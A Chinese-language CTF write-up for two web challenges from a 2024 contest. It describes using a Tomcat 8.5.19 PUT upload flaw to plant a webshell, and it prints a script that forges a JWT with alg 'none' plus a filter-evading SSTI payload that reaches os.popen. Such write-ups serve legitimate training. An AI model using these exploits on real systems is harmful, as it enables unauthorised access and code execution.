2024年睿抗机器人开发者大赛(RAICOM)-【网络安全】解题赛 Web方向 题解WriteUp
tomput 题目描述:你见过长得像二维码的黑白猫吗?它不光能get老鼠,它还能PUT老鼠,试着帮我找找吧。 开题。 看源码引用的图片,发现tomcat版本:8.5.19 tomcat8.5.19存在文件上传漏洞: 【Tomcat-8.5.19】文件写入漏洞_tomcat8.5.19漏洞-CSDN博客 哥斯拉生成木马直接打(内容会被写入PUT访问的文件) 连接成功 geshell! fl
tomput
题目描述:你见过长得像二维码的黑白猫吗?它不光能get老鼠,它还能PUT老鼠,试着帮我找找吧。
开题。

看源码引用的图片,发现tomcat版本:8.5.19

tomcat8.5.19存在文件上传漏洞:
【Tomcat-8.5.19】文件写入漏洞_tomcat8.5.19漏洞-CSDN博客
哥斯拉生成木马直接打(内容会被写入PUT访问的文件)

连接成功

geshell!

flag在/usr/sbin/flag.rar

下载压缩包,发现有密码。

密码就是flag,解压后扫码得到字符串

ZmxhZ3syZXJkZWZmLTM0NTY0Z3Q3OS0zZWRmNHQzNXVhOHFnLTlqcmdmZzZlZ30
base64解码后是flag
flag{2erdeff-34564gt79-3edf4t35ua8qg-9jrgfg6eg}
py
题目描述:在渗透过程中遇到个不太熟悉的机制,你会怎么做呢?
开题是一共登录框

任何用户密码都能登录。

通过JWT进行身份验证

不是admin的话,留言了看不见。


JWT算法修改为none绕过。
import base64
def jwtBase64Encode(x):
return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = "{'alg': 'none', 'typ': 'JWT'}"
payload = '{"username":"admin"}'
print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.
OK身份伪造后评论可见

留言框经过检测存在SSTI


payload:
title={{a.__class__.__init__.__globals__.get("__bui"+"ltins__").get("e"+"val")("__imp"+"ort__(\"o"+"s\").po"+"pen(\"cat f41321d3b61338c8d239e75d971f34a4\").read()")}}
